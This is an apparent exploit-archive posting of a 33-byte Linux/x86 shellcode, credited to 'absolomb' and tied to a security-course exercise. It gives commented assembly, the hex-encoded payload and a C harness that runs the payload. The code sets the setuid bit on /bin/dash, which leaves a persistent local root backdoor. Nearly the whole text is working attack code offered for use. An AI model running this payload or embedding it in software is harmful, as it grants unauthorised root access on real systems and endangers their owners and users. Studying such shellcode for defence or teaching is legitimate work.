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Linux/x86 chmod 4755 /bin/dash Shellcode

Linux/x86 chmod 4755 /bin/dash Shellcode
Posted Apr 24, 2018
Authored by absolomb

33 bytes small Linux/x86 chmod 4755 /bin/dash shellcode.

tags | x86, shellcode
systems | linux
MD5 | 50a49297db99235b957ac45501135b0f

Linux/x86 chmod 4755 /bin/dash Shellcode

Change Mirror Download
/*

Title: chmod 4755 /bin/dash
Author: absolomb
Website: https://www.sploitspren.com
SLAE-ID: 1208
Purpose: setuid bit on /bin/dash
Tested On: Ubuntu 14.04
Arch: x86
Size: 33 bytes

global _start

section .text

_start:

cdq ; edx to 0
push edx ; terminating NULL
push 0x68736164 ; 'hsad'
push 0x2f6e6962 ; '/nib'
push 0x2f2f2f2f ; '////'
mov ebx, esp ; point ebx to stack
mov cx, 0x9ed ; 4755
push 0xf ; chmod()
pop eax
int 0x80 ; execute chmod()
push 0x1 ; exit()
pop eax
int 0x80 ; execute exit()
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x99\x52\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x66\xb9\xed\x09\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80";
main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}


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